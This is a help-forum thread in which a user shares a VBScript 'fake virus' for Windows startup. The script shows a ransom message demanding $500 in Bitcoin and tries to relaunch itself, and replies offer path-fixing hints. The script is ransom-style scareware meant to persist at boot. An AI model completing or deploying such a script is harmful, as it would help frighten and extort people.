How can I have my VBScript to run at startup?

Question

I created a VBScript that appears as a fake virus, and I would like to run it at startup. I've put the script into the startup folder.

When I boot up, the script shows. After pressing 'OK' to the message boxes I've created, it gives me an error.

It displays the following information.

Script: C:\Users\derpression\Desktop\Virus.vbs

Line: 5

Char: 1

Error: The system cannot find the file specified.

Code: 80070002

Source: (null)

Here is the script.

Here is the script you can copy.

msgbox("You've been infected! To disable your virus, please send $500 worth of Bitcoin to BLOCKED to receive your access key. Click 'OK' to continue.")

pass=inputbox("Please enter your 10-digit key to disable the virus. Send $500 worth of Bitcoin to BLOCKED, then send an email to BLOCKED with your email and proof. Your key will get sent to you.")

if pass="0x9dk2sm87" then msgbox("Correct key! Virus has been disabled. Let BLOCKED know to delete the virus.") else Set Shell=CreateObject("wscript.shell")

Shell.Run("Virus.vbs")

Let me know if I probably did something wrong in the script. I'm new to this VBScript thing, so I don't know what to do.

I've done multiple methods but they never worked.

Running VBScript at Startup: https://www.howtogeek.com/138159/how-to-enable-programs-and-custom-scripts-to-run-at-boot/

Disabling All Third-Party Apps: http://bit.ly/WinScriptHostError80070002 (link was too long)

I also visited some old forum posts. Unfortunately, they didn't work as well. I doubted they even worked, they were from 2006 or 2013!

I'm using a virtual machine running Windows 7 currently to run the script, later testing it on a Windows 10 device. I don't know if it is because of the version of Windows I'm using. Let me know and I'll try to run it on a Windows 10 VM.

Answer 1

Your "Run" method invokes the script "virus.vbs" without telling it exactly where "virus.vbs" is to be found. You must fully qualify its path!

Answer 2

Your "Run" method invokes the script "virus.vbs" without telling it exactly where "virus.vbs" is to be found. You must fully qualify its path!

Is this correct?

Answer 3

It doesn't work. The same error appears.

Answer 4

Suggest you repost your question to the more appropriate forum at TechNet Forum, you will receive a better response, link below;

https://social.technet.microsoft.com/Forums/en-us/home

Answer 5

It doesn't work. The same error appears.

Please post your current script.